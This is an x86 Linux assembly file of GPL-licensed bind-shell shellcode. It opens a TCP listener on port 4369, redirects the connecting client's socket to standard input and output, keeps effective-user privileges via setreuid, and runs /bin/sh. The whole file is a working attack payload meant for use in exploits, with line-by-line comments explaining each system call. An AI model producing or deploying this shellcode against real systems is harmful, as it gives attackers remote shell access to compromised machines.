; bindshell.asm - linux geteuid/setreuid/execve(bin/sh)/exit(0) bind shellcode
; Copyright (C) 2011 - buffer (bufferoverfl0wz at google mail)
;
; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
; GNU General Public License for more details.
;
; This should have received a copy of the GNU General Public License
; along with this program.  If not, see <http://www.gnu.org/licenses/>.

BITS 32

segment .text

; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
push byte 0x06     ;
pop  eax           ;
cdq                ; 
push eax           ; IPPROTO_TCP = 6
mov al, 0x01       ; SOCK_STREAM = 1
push eax           ;
mov ebx, eax       ; ebx = SYS_SOCKET
inc eax            ;
push eax           ; AF_INET = 2
mov ecx, esp       ;
mov al, 0x66       ; sys_syscall
int 0x80           ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

xchg eax, edx      ; edx = sockfd
                   ; eax = 0

; bind(int sockfd, sockaddr *, sizeof(sockaddr))
push eax           ;
push eax           ; my_sockaddr_in.sin_zero = 0 (8 bytes)
push eax           ; my_sockaddr_in.in_addr = NULL
push word 0x1111   ; my_sockaddr_in.sin_port = 4369
mov al, 0x02       ; 
push ax            ; my_sockaddr_in.sin_family = AF_INET
mov edi, esp       ; edi = &my_sockaddr_in
mov al, 0x10       ;
push eax           ; sizeof(sockaddr) = 16
push edi           ; &my_sockaddr_in
push edx           ; sockfd
mov ecx, esp       ; ecx = pointer to parameters
mov al, 0x66       ; sys_socket
mov bl, 0x02       ; bind
int 0x80           ;

; listen(sockfd, 1)
inc eax            ; eax = 1 // on bind success, 0 is return
push eax           ;
push edx           ; sockfd
mov ecx, esp       ;
mov al, 0x66       ; sys_socket
mov bl, 0x04       ; listen
int 0x80           ;

; accept(sockfd, &clientaddr, &clientAddrLen)
mov bl, 0x10       ;
push ebx           ; clientAddrLen = 16
push eax           ; clientAddr = NULL // on success, 0 is returned
push edx           ; sockfd
mov ecx, esp       ;
mov al, 0x66       ; sys_socket
mov bl, 0x05       ; accept
int 0x80           ;
 
xchg eax, ebx      ; on success, client socket descriptor is returned

; dup2(client_sockfd, stdin)
mov al, 0x3f       ; dup2
mov edx, eax       ; backup sys_dup2 in edx
xor ecx, ecx       ; ecx = stdin
int 0x80           ;
  
; dup2(client_sockfd, stdout)
mov eax, edx       ; dup2
inc ecx            ; ecx = stdout
int 0x80           ;

; dup2(client_sockfd, stderr)
mov eax, edx       ; dup2
inc ecx            ; ecx = stderr
int 0x80           ;

; geteuid()
push byte 0x31     ; sys_geteuid
pop eax            ;
int 0x80           ; geteuid()

; setreuid(geteuid())
push byte 0x46     ; sys_setreuid
pop ebx            ; 
xchg eax, ebx      ; euid = ebx
mov ecx, ebx       ; euid = ecx
int 0x80           ; setreuid(euid, euid)

; execve("//bin/sh", {"//bin/sh", NULL});
cdq                ; edx = 0
push edx           ; \0
push 0x68732f6e    ; echo -n n/sh | od -t x4
push 0x69622f2f    ; //bin/sh\0 on stack

mov ebx, esp       ; save stack position
push edx           ; NULL
push ebx           ; pointer to string
                   ; ebx points to string /bin/sh
mov ecx, esp       ; pointer to array {ebx, NULL}
mov al, 0x0c       ;
dec eax            ; sys_exec
int 0x80           ; execve(ebx, ecx, edx)

; exit(0)
mov eax, edx       ;
mov ebx, edx       ;
inc eax            ;
int 0x80           ; exit(0);

